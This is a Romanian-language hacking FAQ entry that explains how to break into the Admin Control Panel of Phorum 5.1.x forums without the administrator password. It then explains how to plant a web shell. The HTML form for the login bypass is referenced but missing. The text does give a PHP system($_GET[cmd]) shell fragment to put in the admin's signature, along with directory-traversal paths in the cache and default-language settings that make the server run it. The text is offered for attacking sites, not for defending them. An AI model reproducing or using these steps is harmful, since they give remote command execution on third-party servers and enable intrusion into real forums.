Problema: Am auzit, că se poate cumva de intrat în Admin Control Panel al ultimelor versiuni de Phorum 5.1.x fără ca sa ştii parola administratorului. Ştii ceva amănunte despre aceasta? Rezolvare: Destul de simplu ! Pentru aceasta ai nevoie de a crea un mic html-file cu următorul conţinut:
Cod:
P.S. Liniile _ din cod se elimina
După submit tu te vei afla în Admin Control Panel al Phorum-ului. În unele cazuri merge următorul mod de încărcare a shell-ului pe baza bug-ului prezentat mai sus:
- Intrăm în pagina de redactare a profilului administratorului. În semnătura lui punem un mic shell ca acesta: '; system($_GET [cmd]); print ''; ?>.
- În rezultat afişării unui cod incorect în profilul administratorului observăm o greşeală >. Copiem calea către fişierul cache.php ( de exemplu /home/www/phorum/cache.php), care apoi îi vom face shell în md5.
- În configuraţiile Phorum bifăm secţiunea cache users. Arătăm calea pentru fişierele shell-uite /../../../../../../../../../../../../../../../../tmp şi în default language punem /../../../../../../../../../../../../../../../../../tmp/md5('home/www/phorum/cache.php')/user/c4ca/4238/a0b9/2382/0dcc/509a/6f75/849b/data.
- Din nou intrăm în Admin Control Panel pentru a activa noul cod în cache şi primim plăcere de la shell. În momentul cînd am scris acest FAQ ambele bug-uri nu erau încă astupate.